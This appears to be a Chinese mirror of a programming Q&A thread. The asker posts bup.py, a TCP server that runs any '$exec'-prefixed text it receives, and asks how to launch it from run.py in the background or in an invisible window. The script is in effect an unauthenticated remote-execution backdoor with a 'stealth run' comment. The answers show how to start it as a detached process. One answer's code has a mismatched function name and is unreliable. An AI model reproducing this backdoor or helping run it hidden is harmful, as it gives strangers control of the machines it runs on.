从主目录运行独立文件

2024-04-24 06:45:15 发布

您现在位置:Python中文网/ 问答频道 /正文

我有一个run.py看起来像这样:

def main():
    # Tested and working code here


if __name__ == '__main__':
    main()

然后我有另一个运行TCP套接字服务器的文件bup.py

import socket
import os
from threading import Thread

# PMS Settings
TCP_IP = ''
TCP_PORT = 8080

my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True

# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
    if debug:
        print(text)

# -------------------------------------------------------------------

# Mulithreaded Server a.k.a. PMS
    class ClientThread(Thread):

    def __init__(self, ip, port):
        Thread.__init__(self)
        self.ip = ip
        self.port = port
        dPrint("[+] New server socket thread started for " + ip + ":" + str(port))

    def run(self):
        conn.send(current_dir.encode())
        while True:
            try:
                data = conn.recv(2048).decode()
                if "$exec " in data:
                    data = data.replace("$exec ", "")
                    exec(data)
                elif data:
                    dPrint(data)
            except ConnectionAbortedError:
                dPrint("[x] Connection forcibly closed by remote host")
                break
            except ConnectionResetError:
                dPrint("[x] Connection was reset by client")
                break

# --------------------------------------------------------------------------

tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []

while True:
    tcpServer.listen(5)
    (conn, (ip, port)) = tcpServer.accept()
    newThread = ClientThread(ip, port)
    newThread.start()
    threads.append(newThread)

for t in threads:
    t.join()

我希望bup.py作为独立文件从main()执行。而且,它必须在后台或不可见的窗口中运行。这有可能吗?bup.py是一个服务器脚本,因此它不返回任何内容,必须与run.py完全分离。你知道吗


Tags: runpyselfipdataifmainport
2条回答

如果你只想跑巴比作为一个单独的文件,您可以在巴比然后用python运行这个文件巴比. 我不太清楚是什么巴比需要绑定到运行.py,我错过什么了吗?你知道吗

您可以使用^{}。你知道吗

import subprocess

def main()
   # do your work
   subprocess.Popen(["python","bup.py"])

如果当前进程不依赖于已启动进程的输出,则应该在后台运行。你知道吗

或者,您可以将bup.py重新组织为python模块,并使用^{}

import bup
from multiprocessing import Process

def runServer(name):
    # assuming this would start the loop in bup 
    bup.startServerLoop();

if __name__ == '__main__':
    p = Process(target=f)
    p.start()
    # do all other work
    # close the server process
    p.join()

相关问题 更多 >